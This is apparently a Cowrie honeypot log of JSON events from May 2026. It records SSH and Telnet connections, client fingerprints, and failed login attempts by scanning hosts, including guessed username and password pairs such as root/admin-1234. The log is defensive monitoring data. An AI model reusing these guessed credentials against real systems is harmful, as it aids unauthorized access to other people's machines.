{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"db:92:97:88:d7:59:ce:1e:8e:8a:0f:6c:1e:bc:cc:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC5hZv74DHld9mYTh1c9qt9ljgHNDLLJu9ASlYbiTn2W9Bir9tAhYN7KRth4Blxcn31JSFVk7oYJ2llidQJFEmAlkdmp6aNLuQyPYI7vVfm60uiMSH5aNcrBMm+c8ElsugcOaSGOBVGwZJSm7F6fqyC/oub7qSDx8OaOwomAQexZMB1q/bJZ1EOqXsO9CBnmj42NdJ8+SB9f0g3bW+0ahUYfKnssCw0fsT88mAvCJwZtjodPvhs+slAa6AV7bQXPSKz/Ny5/ltYp2ifJ+xIJ0YBUjCjx0+WohCSsqZVLRVkAshSA7pZ3e8L72BvjDnEr/uDJ1xD6JAdOR2E0dDZhrYr/PweoqOEG36BdoDsr3n5PlQyV7m4pKCEU1f06a3mklE+v2e3DL+KW1v+btB1pV5XjZHtYgm/gGULyNDE+d99dEvEZF9XwRQ8C/UuC8bDQJMkxwVwotXWT0TNf/XuaYw1VlJ3a0+4AEYy6jKaOtW37y3Q/tS9rNH1Av4nPuHMMg0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint db:92:97:88:d7:59:ce:1e:8e:8a:0f:6c:1e:bc:cc:aa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:15:24.732028Z","src_ip":"172.245.225.106","session":"f61e0d86f769","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"db:92:97:88:d7:59:ce:1e:8e:8a:0f:6c:1e:bc:cc:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC5hZv74DHld9mYTh1c9qt9ljgHNDLLJu9ASlYbiTn2W9Bir9tAhYN7KRth4Blxcn31JSFVk7oYJ2llidQJFEmAlkdmp6aNLuQyPYI7vVfm60uiMSH5aNcrBMm+c8ElsugcOaSGOBVGwZJSm7F6fqyC/oub7qSDx8OaOwomAQexZMB1q/bJZ1EOqXsO9CBnmj42NdJ8+SB9f0g3bW+0ahUYfKnssCw0fsT88mAvCJwZtjodPvhs+slAa6AV7bQXPSKz/Ny5/ltYp2ifJ+xIJ0YBUjCjx0+WohCSsqZVLRVkAshSA7pZ3e8L72BvjDnEr/uDJ1xD6JAdOR2E0dDZhrYr/PweoqOEG36BdoDsr3n5PlQyV7m4pKCEU1f06a3mklE+v2e3DL+KW1v+btB1pV5XjZHtYgm/gGULyNDE+d99dEvEZF9XwRQ8C/UuC8bDQJMkxwVwotXWT0TNf/XuaYw1VlJ3a0+4AEYy6jKaOtW37y3Q/tS9rNH1Av4nPuHMMg0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:15:24.736600Z","src_ip":"172.245.225.106","session":"f61e0d86f769","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"14:67:8b:5e:83:4c:c9:9f:07:62:fb:19:90:07:8e:a0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCpwanDqMf9LfgM0SbPmi5oYKyN05NPwilgyFWY4CMgaSXnWiMq3GbW4fUD/VzvH4yD5Q0lvyHgtUSd9gg+gNpSrXhCDriNgQJe9QAWVcW+b/4vCR03dJcGKZImSraeMbTaw9i2OLy5yUXl88AD+EfgaVffEXXe/t3aAe/8sKTard12mQ0hQAb4KZte0ls1J/1hD+sVpP9s1SlZRGGCcHadvsySEmD3k+qWjUwFxM5WNXo7i53Vdx9Y/TAX5LAskijQy7C6i1mIKbktMK98dEe9PE4cjvXX2I4Ua98ZsaVGSdku2gNMHd864N42S0QUmBhAavXy5lSMxIeGol559ViacazkwY+tyf74SY636qCDPBt+yNZTbceoSE6I8bIj4+4jX9X73Q3Yr/SaN4wN/vhGtfvMwfcmKdSppPrKKe2r05ynG6FDYkTAlpnqGz+zlHnlGjICqA9SvgUotOkQbnzgZRMdk4U/06HyC4K4EN40QBqctv0NDlTrykya0RaDmDM=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 14:67:8b:5e:83:4c:c9:9f:07:62:fb:19:90:07:8e:a0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:15:24.781618Z","src_ip":"172.245.225.106","session":"f61e0d86f769","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"14:67:8b:5e:83:4c:c9:9f:07:62:fb:19:90:07:8e:a0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCpwanDqMf9LfgM0SbPmi5oYKyN05NPwilgyFWY4CMgaSXnWiMq3GbW4fUD/VzvH4yD5Q0lvyHgtUSd9gg+gNpSrXhCDriNgQJe9QAWVcW+b/4vCR03dJcGKZImSraeMbTaw9i2OLy5yUXl88AD+EfgaVffEXXe/t3aAe/8sKTard12mQ0hQAb4KZte0ls1J/1hD+sVpP9s1SlZRGGCcHadvsySEmD3k+qWjUwFxM5WNXo7i53Vdx9Y/TAX5LAskijQy7C6i1mIKbktMK98dEe9PE4cjvXX2I4Ua98ZsaVGSdku2gNMHd864N42S0QUmBhAavXy5lSMxIeGol559ViacazkwY+tyf74SY636qCDPBt+yNZTbceoSE6I8bIj4+4jX9X73Q3Yr/SaN4wN/vhGtfvMwfcmKdSppPrKKe2r05ynG6FDYkTAlpnqGz+zlHnlGjICqA9SvgUotOkQbnzgZRMdk4U/06HyC4K4EN40QBqctv0NDlTrykya0RaDmDM=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:15:24.784977Z","src_ip":"172.245.225.106","session":"f61e0d86f769","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:15:24.828247Z","src_ip":"172.245.225.106","session":"f61e0d86f769","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.274179697036743,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:15:27.160950Z","src_ip":"166.62.124.255","session":"83bd576da243","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.124.255","src_port":59636,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb030ee9e958","protocol":"telnet","message":"New connection: 166.62.124.255:59636 (10.17.0.5:23) [session: bb030ee9e958]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:15:30.545643Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.81.14.172","src_port":41596,"dst_ip":"10.17.0.5","dst_port":22,"session":"be6e720934f5","protocol":"ssh","message":"New connection: 154.81.14.172:41596 (10.17.0.5:22) [session: be6e720934f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:15:41.088533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:15:41.092710Z","src_ip":"154.81.14.172","session":"be6e720934f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:15:41.314724Z","src_ip":"154.81.14.172","session":"be6e720934f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.953445196151733,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:15:42.191230Z","src_ip":"166.62.124.255","session":"f7fec5f8f1e7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"102030","message":"login attempt [postgres/102030] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:15:42.220604Z","src_ip":"154.81.14.172","session":"be6e720934f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:15:43.442940Z","src_ip":"154.81.14.172","session":"be6e720934f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.392823219299316,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:15:46.172828Z","src_ip":"166.62.124.255","session":"85293131d30a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.602665424346924,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:16:01.148186Z","src_ip":"166.62.124.255","session":"bb030ee9e958","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.81.14.172","src_port":58268,"dst_ip":"10.17.0.5","dst_port":22,"session":"aab7868c7896","protocol":"ssh","message":"New connection: 154.81.14.172:58268 (10.17.0.5:22) [session: aab7868c7896]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:17:12.088482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:17:12.095139Z","src_ip":"154.81.14.172","session":"aab7868c7896","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.124.255","src_port":60260,"dst_ip":"10.17.0.5","dst_port":23,"session":"9376e2da3346","protocol":"telnet","message":"New connection: 166.62.124.255:60260 (10.17.0.5:23) [session: 9376e2da3346]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:17:21.749418Z"}
{"eventid":"cowrie.session.connect","src_ip":"100.26.194.24","src_port":27030,"dst_ip":"10.17.0.5","dst_port":22,"session":"1fa92c5e460f","protocol":"ssh","message":"New connection: 100.26.194.24:27030 (10.17.0.5:22) [session: 1fa92c5e460f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:17:22.407927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:17:23.261402Z","src_ip":"100.26.194.24","session":"1fa92c5e460f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"9052c4ab4164c78256e71143dcfc7eac","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 9052c4ab4164c78256e71143dcfc7eac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:17:23.270355Z","src_ip":"100.26.194.24","session":"1fa92c5e460f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:17:24.723983Z","src_ip":"100.26.194.24","session":"1fa92c5e460f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:17:27.718680Z","src_ip":"154.81.14.172","session":"aab7868c7896","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.6","message":"Connection lost after 15.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:17:27.724838Z","src_ip":"154.81.14.172","session":"aab7868c7896","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.44928741455078,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:17:52.198544Z","src_ip":"166.62.124.255","session":"9376e2da3346","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":49396,"dst_ip":"159.203.135.109","dst_port":23,"session":"95e3d15e0a85","protocol":"telnet","message":"New connection: 135.148.33.91:49396 (159.203.135.109:23) [session: 95e3d15e0a85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:17:57.210477Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":51244,"dst_ip":"159.203.135.109","dst_port":23,"session":"1fddc822d96c","protocol":"telnet","message":"New connection: 135.148.33.91:51244 (159.203.135.109:23) [session: 1fddc822d96c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:18:03.249058Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.106.162","src_port":48332,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c5b2adefbe7","protocol":"ssh","message":"New connection: 101.36.106.162:48332 (10.17.0.5:22) [session: 6c5b2adefbe7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:18:14.653560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:18:14.658829Z","src_ip":"101.36.106.162","session":"6c5b2adefbe7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:18:14.873783Z","src_ip":"101.36.106.162","session":"6c5b2adefbe7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin-1234","message":"login attempt [root/admin-1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:18:16.203680Z","src_ip":"101.36.106.162","session":"6c5b2adefbe7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:18:17.424742Z","src_ip":"101.36.106.162","session":"6c5b2adefbe7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.212.47.18","src_port":36654,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb37811650b5","protocol":"ssh","message":"New connection: 187.212.47.18:36654 (10.17.0.5:22) [session: eb37811650b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:18:19.244221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:18:19.249164Z","src_ip":"187.212.47.18","session":"eb37811650b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:18:19.501937Z","src_ip":"187.212.47.18","session":"eb37811650b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3server","password":"server","message":"login attempt [ts3server/server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:18:19.838417Z","src_ip":"187.212.47.18","session":"eb37811650b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:18:20.918431Z","src_ip":"187.212.47.18","session":"eb37811650b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"93.171.185.141","src_port":56509,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c5ebda777cf","protocol":"telnet","message":"New connection: 93.171.185.141:56509 (10.17.0.5:23) [session: 0c5ebda777cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:18:28.700552Z"}
{"eventid":"cowrie.session.closed","duration":35.74454951286316,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:18:32.954896Z","src_ip":"135.148.33.91","session":"95e3d15e0a85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.7605721950531,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:18:40.009503Z","src_ip":"135.148.33.91","session":"1fddc822d96c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.493189334869385,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:18:42.193641Z","src_ip":"93.171.185.141","session":"0c5ebda777cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.81.14.172","src_port":46714,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9b1e124284d","protocol":"ssh","message":"New connection: 154.81.14.172:46714 (10.17.0.5:22) [session: a9b1e124284d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:18:42.938862Z"}
